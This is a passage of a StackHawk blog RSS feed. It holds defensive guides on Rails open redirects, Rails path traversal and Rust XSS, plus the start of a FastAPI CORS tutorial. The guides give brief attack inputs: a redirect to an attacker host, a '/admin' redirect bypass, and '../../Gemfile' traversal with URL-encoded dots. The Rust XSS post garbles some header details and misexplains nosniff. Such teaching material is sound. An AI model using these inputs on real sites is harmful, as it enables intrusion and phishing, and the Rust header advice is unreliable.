Advocate&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Head of Product Management&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Account Executive&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Head of Marketing&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/competitors/alternatives&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Modern web applications face a never-ending risk of attack. These days you can become a target even if your website is small and new. There are automated robots running twenty-four-seven all over the internet looking for any kinds of vulnerabilities. Therefore, securing your web application is more important than ever. Some security best practices are universal, such as, for example, never exposing ports and endpoints to the internet that don&amp;#39;t need to be exposed. Others are language- and framework-specific. In this post, you&amp;#39;ll learn how to protect your Rails application from open redirect vulnerability.&lt;/p&gt;&lt;h2&gt;What&amp;#39;s Open Redirect Vulnerability?&lt;/h2&gt;&lt;p&gt;First things first: let&amp;#39;s talk about open redirect vulnerability in general. Open redirect vulnerability, also known as&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html&quot;&gt; &lt;u&gt;unvalidated redirects and forwards&lt;/u&gt;&lt;/a&gt;, is a type of attack in which a hacker can change the destination URL of a redirect that your application performs. It can, for example, force your web application to redirect users to an untrusted URL, possibly one provided by the attacker. Another use case can be trying to gain access to places that they normally don&amp;#39;t have access to, such as an admin panel.&lt;/p&gt;&lt;p&gt;In today&amp;#39;s applications, it&amp;#39;s very common to be redirected back and forth to and from different URLs. For example, when logging into some websites, you may get redirected to an&lt;a href=&quot;https://en.wikipedia.org/wiki/OAuth&quot;&gt; &lt;u&gt;OAuth&lt;/u&gt;&lt;/a&gt; provider. When making a purchase in an online shop, you may get redirected to a third-party payment provider. If an attacker finds a way to provide their own destination URL, your users may get redirected to a malicious website. Such a website, for example, can look like your payment provider&amp;#39;s website, and it may then try to steal credit card details. So let&amp;#39;s take at look at what vulnerable code might look in Rails. And if you want to learn more about open redirect vulnerability in more detail, check &lt;a href=&quot;https://www.stackhawk.com/blog/laravel-open-redirect-security-guide/&quot;&gt;this blog post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Rails Redirects&lt;/h2&gt;&lt;p&gt;You may be familiar with the very commonly used Rails&lt;a href=&quot;https://api.rubyonrails.org/classes/ActionController/Redirecting.html&quot;&gt; &lt;u&gt;&lt;b&gt;redirect_to&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; method. It&amp;#39;s a simple method that generates HTML hyperlinks. It can be used to generate simple text links as well as buttons, images, and logo-based hyperlinks. For example, if you want to create a simple link, you can do so by writing the following code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;redirect_to &amp;quot;https://www.stackhawk.com/&amp;quot;&lt;/code&gt; &lt;/p&gt;&lt;p&gt;On your website it will become the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;https://www.stackhawk.com/&amp;quot;&amp;gt;&lt;/code&gt; &lt;/p&gt;&lt;p&gt;That&amp;#39;s the simple scenario. In real life, instead of directly providing the desired URL, you&amp;#39;ll often provide variables, helper methods, or controller actions. And if you don&amp;#39;t pay attention to what you provide to &lt;b&gt;redirect_to&lt;/b&gt;, you may expose yourself to an open redirect vulnerability.&lt;/p&gt;&lt;h2&gt;Vulnerable Rails Examples&lt;/h2&gt;&lt;p&gt;So what do you need to avoid when using &lt;b&gt;redirect_to&lt;/b&gt;? User input is more important than anything else. This is the single most dangerous thing you can pass to a &lt;b&gt;redirect_to&lt;/b&gt; method. You may be thinking, well, OK, but why would I use user input for &lt;b&gt;redirect_to&lt;/b&gt; anyway? Surprisingly, there are a few common use cases. For example, you may ask the user to provide their Instagram or Twitter handle and use the value of that input as a parameter for &lt;b&gt;redirect_to&lt;/b&gt;. Or you could simply ask for a portfolio URL from a user. These are only the most obvious examples. There are use cases where you won&amp;#39;t even realize that you&amp;#39;re using user input.&lt;/p&gt;&lt;p&gt;Imagine the following code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;redirect_to params[:url]&lt;/code&gt;  &lt;/p&gt;&lt;p&gt;You could, for example, give a user an option when creating a support ticket to specify the URL of a page they&amp;#39;re having a problem with. What could go wrong here, right? Well, an attacker may specify something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.stackhawk.com/support_new?url=http://malicious.attacker.com&lt;/code&gt; &lt;/p&gt;&lt;p&gt;Most users will only check (if at all) the beginning of the URL without noticing the redirect at the end of the link.&lt;/p&gt;&lt;p&gt;Another approach that attackers may take is trying to gain access where they don&amp;#39;t have permission. So instead of trying to redirect other users to a phishing page, they may try to get access, for example, to an admin panel of your page. A user-provided URL may look something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.stackhawk.com/secure_page?url=/admin&lt;/code&gt; &lt;/p&gt;&lt;p&gt;When redirects are not properly validated, they may be able to bypass your typical authorization mechanisms. Since it&amp;#39;s Rails itself that would redirect a user to an admin page, it&amp;#39;s possible that they&amp;#39;ll see it even if they don&amp;#39;t have admin accounts.&lt;/p&gt;&lt;h2&gt;How to Secure Your Rails Redirects&lt;/h2&gt;&lt;p&gt;Now that you know what vulnerable Rails code looks like, let&amp;#39;s talk about how to avoid this type of attack. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;The short and best solution is to avoid using user input as a &lt;b&gt;redirect_to&lt;/b&gt; parameter. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;If you really need to do that, there are a few options.&lt;/p&gt;&lt;p&gt;One solution would be to let users pass only the parameter you are looking for instead of a full URL. For example, ask a user only for the ID or short name of an object if possible. This can, however, create another vulnerability when the attacker could try to loop over all possible values trying to find all IDs and therefore all possible redirect targets. This could give them an option to find, for example, product pages that haven&amp;#39;t been published yet.&lt;/p&gt;&lt;p&gt;If that&amp;#39;s an option, implement a whitelist of allowed parameters. You can also sanitize input by parsing it via regex or an allow list.&lt;/p&gt;&lt;p&gt;Another approach is to force all redirects created from user input to be first redirected to a specific page clearly notifying users what the destination is. As we mentioned before, this vulnerability is sometimes hard to spot because your real website URL is in some cases still visible as the destination URL. Therefore, having only the real destination target clearly visible can help in many cases.&lt;/p&gt;&lt;h2&gt;Hidden Vulnerabilities&lt;/h2&gt;&lt;p&gt;You also need to keep in mind that your Rails application may be vulnerable to open redirect even if you don&amp;#39;t use risky &lt;b&gt;redirect_to&lt;/b&gt; parameters. How&amp;#39;s that? The vulnerability may be simply coming from Rails&amp;#39;s own libraries. There have already been a few examples of such cases. For example,&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22903&quot;&gt; &lt;u&gt;this CVE&lt;/u&gt;&lt;/a&gt;. And the more third-party gems you use, the higher the risk.&lt;/p&gt;&lt;p&gt;What does it mean for you? Of course, you can&amp;#39;t read the entire Rails code in order to find all possible vulnerabilities. Instead, you can get help from modern security testing tools like&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;. You can get automated security testing as part of your CI/CD process and therefore find and fix vulnerabilities faster.&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this post, you learned how to spot vulnerable Rails code and more importantly how to fix it. Open redirect vulnerability is not so popular anymore among hackers, but you shouldn&amp;#39;t underestimate it. Attackers still use it as a possible attack vector when most popular vulnerabilities are not present. And with an open redirect, an attacker can steal your user credentials and bank details relatively easily. Therefore, we encourage you to check your Rails code.&lt;/p&gt;&lt;p&gt;Even better, let StackHawk do it for you on every CI/CD pipeline that you run. An automatic security scanner can help you avoid not only open redirect but also other popular vulnerabilities and can drastically improve the security of your application. If you want to learn more about dynamic application security testing, check out&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;this blog post.&lt;/u&gt;&lt;/a&gt; And if you want to learn more about open redirect vulnerability itself, don&amp;#39;t forget to read our main blog post about it &lt;a href=&quot;https://www.stackhawk.com/blog/laravel-open-redirect-security-guide/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Dawid Ziolkowski. &lt;/i&gt;&lt;a href=&quot;https://medium.com/@dawid.ziolkowski&quot;&gt;&lt;u&gt;&lt;i&gt;Dawid&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; has 10 years of experience as a Network/System Engineer at the beginning, DevOps in between, Cloud Native Engineer recently. He’s worked for an IT outsourcing company, a research institute, telco, a hosting company, and a consultancy company, so he’s gathered a lot of knowledge from different perspectives. Nowadays he’s helping companies move to cloud and/or redesign their infrastructure for a more Cloud Native approach.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails Path Traversal Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-path-traversal-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Cyberattacks are happening pretty much constantly these days. Even if you follow general security best practices, there are many language- and framework-specific vulnerabilities that attackers can try to exploit. One of these vulnerabilities is the so-called path traversal vulnerability. &lt;/p&gt;&lt;p&gt;In this post, you&amp;#39;ll learn what the path traversal vulnerability is and how to prevent it in the case of the Ruby on Rails application. &lt;/p&gt;&lt;h2&gt;What&amp;#39;s Path Traversal Vulnerability?&lt;/h2&gt;&lt;p&gt;A path traversal vulnerability, sometimes also called a directory traversal attack, is a type of vulnerability that allows attackers to access files to which they shouldn&amp;#39;t have access. For example, an attacker may try to access the &lt;b&gt;/etc/passwd&lt;/b&gt; file on your host operating system. &lt;/p&gt;&lt;p&gt;This vulnerability happens when your web application doesn&amp;#39;t properly validate the paths that the user is requesting. For now, we&amp;#39;ll focus on path traversal in the context of the Rails framework. &lt;/p&gt;&lt;h2&gt;Path Traversal in Rails&lt;/h2&gt;&lt;p&gt;In order to understand how path traversal can happen in Rails, we need to first understand how Rails handles paths in general. There are three most common ways of serving files in Rails. &lt;/p&gt;&lt;p&gt;First, we have assets pipeline files. These are all the CSS, JavaScript, and image files that Rails needs for rendering the HTML code. For example, your website logo is a good candidate to be in the assets directory. Anything that&amp;#39;s there will have a Rails-generated path assigned. So you don&amp;#39;t access these files directly (as in&lt;b&gt; www.example.com/assets/logo.jpg&lt;/b&gt;), but you let Rails generate and use a path for you. &lt;/p&gt;&lt;p&gt;Next, we have the Rails public directory. This is a folder where you can put any file that you need to serve to clients. So, for example, if you need a &lt;b&gt;marketing1.jpg&lt;/b&gt; file accessible as&lt;b&gt; www.example.com/marketing1.jpg&lt;/b&gt;, you can just put it into the public directory. It&amp;#39;s worth noting here that serving files from the public directory can be done by Rails itself but can also be offloaded to a web server (for example, &lt;a href=&quot;https://httpd.apache.org/&quot;&gt;&lt;u&gt;Apache&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://www.nginx.com/&quot;&gt;&lt;u&gt;NGINX&lt;/u&gt;&lt;/a&gt;). &lt;/p&gt;&lt;p&gt;Lastly, we have dedicated libraries for serving images on your website. Depending on your Rails version, this could be handled by third-party libraries (such as &lt;a href=&quot;https://github.com/thoughtbot/paperclip&quot;&gt;&lt;u&gt;Paperclip&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://github.com/carrierwaveuploader/carrierwave&quot;&gt;&lt;u&gt;CarrierWave&lt;/u&gt;&lt;/a&gt;) or, in the case of the latest Rails versions, natively by &lt;a href=&quot;https://edgeguides.rubyonrails.org/active_storage_overview.html&quot;&gt;&lt;u&gt;Active Storage&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Now, all of these different options for getting the path of a specific file will give you different results. And the possibility of a path traversal vulnerability differs for all of them. So let&amp;#39;s get back to the topic of this post. What does the path traversal attack actually look like?&lt;/p&gt;&lt;h2&gt;Path Traversal&lt;/h2&gt;&lt;p&gt;You know already that publicly available files in your Rails application are located in the same folder as the rest of your application. Our goal is to only show the users the files they&amp;#39;re supposed to see. For instance, the contents of the public folder. But you wouldn&amp;#39;t like users to see your Gemfile or environment configuration files. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at an example. When a user opens &lt;b&gt;www.example.com/example.jpg&lt;/b&gt;, Rails looks for &lt;b&gt;example.jpg&lt;/b&gt; in the&lt;b&gt; /app/public&lt;/b&gt; folder. But just two directories higher is your Gemfile (&lt;b&gt;/Gemfile&lt;/b&gt;). &lt;/p&gt;&lt;p&gt;So you want to avoid the situation where a user simply opens &lt;b&gt;www.example.com/../../Gemfile&lt;/b&gt; and is able to see your Gemfile. That&amp;#39;s path traversal vulnerability: the ability to manipulate a URL in order to read files that shouldn&amp;#39;t be read. Fortunately, it&amp;#39;s not that simple, and Rails, by default, protects you from such obvious misusages. &lt;/p&gt;&lt;p&gt;However, attackers can try different ways of forcing Rails to go up or down directories. For example, using URL-encoding characters: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.example.com/%2e%2e/%2e%2e/Gemfile&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;%2e&lt;/b&gt; is a URL-encoded version of a dot ( . ); therefore, effectively we&amp;#39;re asking for the same path as before: &lt;b&gt;../../Gemfile.&lt;/b&gt; This is just an example. Fortunately, Rails will protect you from that too. &lt;/p&gt;&lt;p&gt;But while Rails is smart enough to protect you from most attempts, it&amp;#39;s not bulletproof. So let&amp;#39;s talk about preventing path traversal. &lt;/p&gt;&lt;h2&gt;Prevention&lt;/h2&gt;&lt;p&gt;The good news is that because of the way Rails works (you barely write raw code but you use Rails methods and helpers), you don&amp;#39;t need to do anything specific to protect yourself from path traversal vulnerability. As we mentioned before, commonly used methods in Rails already protect you from path traversal. &lt;/p&gt;&lt;p&gt;The problem may arise when you don&amp;#39;t use native Rails path-generation mechanisms or you start generating paths from user input. So the most important prevention mechanism is to not build any custom path-handling logic yourself and use Rails-native methods instead. &lt;/p&gt;&lt;h3&gt;Vulnerable Rails&lt;/h3&gt;&lt;p&gt;The bad news is some of the built-in Rails libraries or gems can have this vulnerability. One of the most common examples is &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0130&quot;&gt;&lt;u&gt;CVE&lt;/u&gt;&lt;/a&gt;, found in actionpack. &lt;/p&gt;&lt;p&gt;On the other hand, if you&amp;#39;re building a very custom application, you may find yourself in a situation where you need to, for example, integrate your application with some legacy system. Sometimes such integrations require you to handle files and directories on the file system in a non-Rails-native way. &lt;/p&gt;&lt;h3&gt;Watch Out for User Input&lt;/h3&gt;&lt;p&gt;One of the best ways to create a path traversal vulnerability in your application is to directly use the user input as a variable for path generation. In many cases, this bypasses default Rails security mechanisms, allowing attackers to manipulate a path that you never intended them to. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;If your use case requires getting user input for building a path, make sure to &lt;b&gt;validate and sanitize&lt;/b&gt; that input before using it as a variable for path methods. &lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;Non-Root&lt;/h3&gt;&lt;p&gt;Another good practice that can help you avoid a path traversal vulnerability is to run your application as a non-root user. In the case of a path traversal vulnerability, this will still allow attackers to get access to the application directory but will at least prevent them from accessing &lt;b&gt;/etc&lt;/b&gt; or &lt;b&gt;/root&lt;/b&gt; directories on your host machine. &lt;/p&gt;&lt;h3&gt;Gems&lt;/h3&gt;&lt;p&gt;Last but not least: gems. We all love gems. They drastically simplify Ruby on Rails applications development. However, they can sometimes be buggy. While the most commonly used gems are safe (or at least patched quickly in case of a found vulnerability), you should be careful when installing gems that are really old or that haven&amp;#39;t been updated for a long time and don&amp;#39;t have much information about them on the internet. Sometimes it&amp;#39;s better to write a little bit of extra code yourself instead of using a gem that was last updated 10 years ago. &lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;When it comes to the path traversal vulnerability, the bottom line is that it&amp;#39;s a very exotic attack vector, and Rails, by default, protects you from it. However, that doesn&amp;#39;t mean that you&amp;#39;re safe and don&amp;#39;t need to worry about it. By using user input without validation or when using very old Rails versions, you can still become compromised. Path traversal, in the worst-case scenario, can give an attacker full access to your machine (if, for example, they manage to read the private SSH key of the root user). Therefore, it&amp;#39;s always a good idea to keep your Rails version up to date. &lt;/p&gt;&lt;p&gt;But even if you follow security best practices, there&amp;#39;s always a chance that you&amp;#39;ll leave one small vulnerable line of code or won&amp;#39;t update your Rails in time. To avoid becoming exposed, you&amp;#39;d benefit from keeping security scanning as part of your CI/CD pipeline and having a continuous overview of your security posture. For that, you can use &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk.&lt;/u&gt;&lt;/a&gt; It&amp;#39;s a modern application security tool that can help you avoid not only path traversal but many other vulnerabilities too. And if you want to learn more about application security testing, feel free to read &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;this post&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Dawid Ziolkowski. &lt;/i&gt;&lt;a href=&quot;https://medium.com/@dawid.ziolkowski&quot;&gt;&lt;u&gt;&lt;i&gt;Dawid&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; has 10 years of experience as a Network/System Engineer at the beginning, DevOps in between, Cloud Native Engineer recently. He’s worked for an IT outsourcing company, a research institute, telco, a hosting company, and a consultancy company, so he’s gathered a lot of knowledge from different perspectives. Nowadays he’s helping companies move to cloud and/or redesign their infrastructure for a more Cloud Native approach.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust XSS Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-xss-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Application security is a wide-reaching concern for software engineers today, since there&amp;#39;s room for attacks in almost every permutation of programming language and their resulting apps. &lt;a href=&quot;https://www.rust-lang.org/&quot;&gt;&lt;u&gt;The Rust language&lt;/u&gt;&lt;/a&gt; (Rust-Lang) is by no means exempt from security threats. In particular, consider Rust &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;XSS (Cross-Site Scripting)&lt;/u&gt;&lt;/a&gt; vulnerabilities. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Rust XSS vulnerabilities.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;All XSS attempts share the same intent—to use someone else&amp;#39;s web application to push their agenda. So far, the following outcomes are possible when vulnerabilities are left to manifest: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data theft.&lt;/b&gt; Through stored XSS attacks, extract cookies to mimic the user and access their accounts.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unintended action execution.&lt;/b&gt; Instead of just sending a document, they could also execute commands that could delete files or even post content on your behalf. This is what happens when people&amp;#39;s social media accounts start posting random articles or videos. Usually the intent is to increase the surface area of the hack or just to humiliate others.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Annoying notifications laced with malice.&lt;/b&gt; It&amp;#39;s easy for an XSS attack to prompt dialogue boxes, which are basic &amp;quot;&lt;b&gt;alert&lt;/b&gt;&amp;quot; commands in JavaScript. The contained buttons then become a gateway to further penetrate unexpecting internet users&amp;#39; computers.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This post serves as a guide to Rust XSS vulnerabilities. We&amp;#39;ll go through a few cross-site scripting examples your crated apps can suffer. Only then can we explore the methods and crates you can add to your project. The end goal is that you must sanitize your apps from cross-site scripting. &lt;/p&gt;&lt;h2&gt;XSS in a Nutshell&lt;/h2&gt;&lt;p&gt;As far as web application vulnerabilities are concerned, XSS is perhaps the sneakiest. Chances are you&amp;#39;ve come across a website that&amp;#39;s been compromised and didn&amp;#39;t take heed. Attackers exploit the fact that sites often ask for information or at some point publish links to other pages. They then send in commands instead of plain text as a response. This in turn loads the site to execute their desired effect on future visitors. &lt;/p&gt;&lt;p&gt;Once a web application has been set to perform an action other than the site owner intended, often masked as a genuine link, XSS takes root. &lt;/p&gt;&lt;p&gt;So where does Rust come into the picture? For one, there&amp;#39;s the hype guys who have been selling it as &lt;a href=&quot;https://research.mozilla.org/rust/&quot;&gt;&lt;u&gt;a very robust/secure programming language&lt;/u&gt;&lt;/a&gt;. Then there&amp;#39;s the close-knit support provided by the rust-lang community. Both factors make it the perfect target for XSS since people generally accept hype claims at face value. &lt;/p&gt;&lt;p&gt;Once corporate discovers that the programming language comes with &amp;quot;security built into it,&amp;quot; developers start taking it seriously. Sadly, so too do malicious members of the dev community. You don&amp;#39;t have to be a hacker to notice that once your Rust applications use HTML on the front end (for which the same breed of XSS tricks we&amp;#39;ve long known apply). &lt;/p&gt;&lt;p&gt;A good example of such a case is with the Rocket framework for Rust web applications. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Cloning a quick-start repo on the Rocket framework.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Once you&amp;#39;ve finished downloading and unpacking required cargos, this is where you land: &lt;/p&gt;&lt;p&gt;Of note is how shields are implemented by default. In particular, &amp;quot;&lt;b&gt;nosniff&lt;/b&gt;&amp;quot; for X-Content-Type-Options, &amp;quot;&lt;b&gt;interest-cohort=()&lt;/b&gt;&amp;quot; for Permissions-Policy, and &lt;b&gt;SAMEORIGIN &lt;/b&gt;as the X-Frame-Options setting.&lt;/p&gt;&lt;h2&gt;Examples of XSS in Rust&lt;/h2&gt;&lt;p&gt;When you take a step closer to assess the potential for harm, the first question to ask is whether or not one should be using Rust on the front end. Not that it&amp;#39;s any more difficult than the usual JavaScript and associated frameworks. The fact that so many &lt;a href=&quot;https://www.arewewebyet.org/topics/frameworks/&quot;&gt;&lt;u&gt;Rust frameworks for front-end development&lt;/u&gt;&lt;/a&gt; have emerged should point us at something interesting. &lt;/p&gt;&lt;p&gt;Enter WebAssembly and the same origin, sandbox execution, and security feature enforcement that it draws into focus. Every browser typically requires the same. In fact, the same-origin policy is the first line of defense against XSS. How then would Rust respond to having HTML as input, or silently laced in links? &lt;/p&gt;&lt;p&gt;The degree of malice would be a variable dependent on the perpetrator&amp;#39;s imagination. This could get really serious if they came up with purposefully mean scripts. Possible attacks include the following: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Executable files camouflaged as text or HTML documents when you click on links (traps)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Identity theft through once well-intended profiling technology&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Embedded content that appears in your browser, but its origin is from unmonitored (risky) sources&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;These example scenarios can easily be manipulated to run scripts that jeopardize the security of your Rust applications. Your best shot at avoiding harming end-users is to intentionally raise protection measures in and around your apps. &lt;/p&gt;&lt;h2&gt;Rust XSS Protection Measures&lt;/h2&gt;&lt;p&gt;If, for the reason of cross-scripting, your server detects any tags in links (as is the case with links that are laced with JavaScript), your first line of defense is to ensure that the shields we showed in the demo image are implemented. Let&amp;#39;s explore how they work in detail. &lt;/p&gt;&lt;h3&gt;&lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;When this header is set, there are MIME types for which the specified setting applies. The &lt;b&gt;nosniff&lt;/b&gt; option is what blocks any documents from being parsed as executables. This is true even when there&amp;#39;s a JavaScript prompt doing the double-click action on every link visitor&amp;#39;s behalf. &lt;/p&gt;&lt;h3&gt;&lt;code&gt;Permissions-Policy: interest-cohort=()&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;Much like the cookie method of collecting user data, some browsers (Chrome in particular) have the means to build a profile from your history (e.g., &lt;a href=&quot;https://www.eff.org/deeplinks/2021/03/googles-floc-terrible-idea&quot;&gt;&lt;u&gt;FLoC&lt;/u&gt;&lt;/a&gt;). This was made possible for the sake of advertisers looking to create relevant content. However, it leaves your browser in charge of too many details, much of which you shouldn&amp;#39;t permit. This header blocks such functionality in your browser. &lt;/p&gt;&lt;h3&gt;&lt;code&gt;X-Frame-Options: SAMEORIGINinterest-cohort=()&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;In addition to specifying &lt;b&gt;same-origin&lt;/b&gt; as the variable, &lt;b&gt;deny&lt;/b&gt; is also an option. This header tells the browser whether to render content extracted from other hosts. The end user&amp;#39;s browser would have to be compatible with either denial or sandboxing for this header to work as a Rust XSS security measure. When active, &amp;lt;iframe&amp;gt; content would either be restricted or allowed based on its source. The same applies for &amp;lt;embed&amp;gt; and &amp;lt;object&amp;gt; content. &lt;/p&gt;&lt;p&gt;While these measures are common to most Rust frameworks, they&amp;#39;re often best complemented with other custom measures. &lt;/p&gt;&lt;h2&gt;Custom Rust XSS Protection Measures&lt;/h2&gt;&lt;p&gt;In addition to the defaults, you should take Rust application security into your own hands. This, without scouring the entire Rust crate space for options—some of which may jeopardize your application&amp;#39;s security. At the very least, you&amp;#39;ll need to consider the following resources: &lt;/p&gt;&lt;h3&gt;1. HTML Sanitization With Ammonia&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://docs.rs/ammonia/latest/ammonia/&quot;&gt;&lt;u&gt;Ammonia&lt;/u&gt;&lt;/a&gt; is an HTML5ever branch that prevents the inclusion of any HTML coming from users from an application&amp;#39;s logic—hence, sanitization. In essence, any attempt to lace an app with malicious scripts falls through because input isn&amp;#39;t rendered as links. Neither will the simple text be parsed to different forms. &lt;/p&gt;&lt;h4&gt;Ammonia Implementation&lt;/h4&gt;&lt;p&gt;Sanitizing your app starts with adding ammonia under dependencies in your Cargo.toml file. You do this by pasting &amp;#39;ammonia = &amp;quot;&lt;i&gt;latest version number here&lt;/i&gt;&amp;quot;&amp;#39; under the list of dependencies. You then instantiate ammonia for your pages to denounce processing of input the way attackers expect with other HTML front ends. &lt;/p&gt;&lt;h3&gt;2. Rast Armor&lt;/h3&gt;&lt;p&gt;As the name implies, &lt;a href=&quot;https://docs.rs/armor/1.2.0/armor/fn.xss_filter.html&quot;&gt;&lt;u&gt;Armor&lt;/u&gt;&lt;/a&gt; is an implementation of reflected cross-scripting attempts through the &lt;b&gt;&amp;gt;&amp;gt; X-XSS-Protection&lt;/b&gt; header. It filters the header of any page for possible threats, effectively blocking them before being rendered on the DOM. &lt;/p&gt;&lt;h4&gt;Armor Implementation&lt;/h4&gt;&lt;p&gt;Here&amp;#39;s a typical instance of armor: &lt;/p&gt;&lt;p&gt;&lt;code&gt;let mut allheaders = http::HeaderMap::new();
armor::xss_filter(&amp;amp;mut allheaders);
assert_eq!(allheaders[&amp;quot;X-XSS-Protection&amp;quot;], &amp;quot;1; mode=block&amp;quot;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Once implemented, each injection is first parsed by the attached cargo for safety. &lt;/p&gt;&lt;p&gt;These are just a few of the like-intended security patches you can add to your Rust applications. Unless you&amp;#39;re using quickstarts from the various Rust frameworks available, make sure to include permissions, content type, and frame options as shields. A couple of extra cargos for that comprehensive XSS cover will also boost your Rust app security. &lt;/p&gt;&lt;p&gt;Even then the measures you&amp;#39;ve discovered above are by no means a license for you to stop watching for XSS threats. New ones pop onto the scene regularly. The progression of a programming language is closely tied to the severity of threats possible. This goes beyond Rust XSS threats and calls for a mindset of security when deploying Rust applications. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Configuring CORS in FastAPI]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/configuring-cors-in-fastapi</guid><category><![CDATA[Tech Learnings]]></category><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Tim Armstrong]]></dc:creator><content:encoded>&lt;p&gt;In previous articles, we&amp;#39;ve covered &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;what CORS is&lt;/a&gt;, the reverse proxy methods to &lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;fixing &amp;quot;no &amp;#39;access-control-allow-origin&amp;#39; header present,&amp;quot;&lt;/a&gt; and a how to configure it for various languages and libraries. This tutorial covers how to get CORS setup in one of the first python ASGI (Asynchronous Server Gateway Interface) API Frameworks: &lt;a href=&quot;https://fastapi.tiangolo.com/&quot;&gt;FastAPI&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Whether you are a fan of using Python&amp;#39;s Async for handling web requests, or not, FastAPI brings more to the table than just that. Pulling together features like Flask&amp;#39;s routing interface, Django-Rest-Framework&amp;#39;s 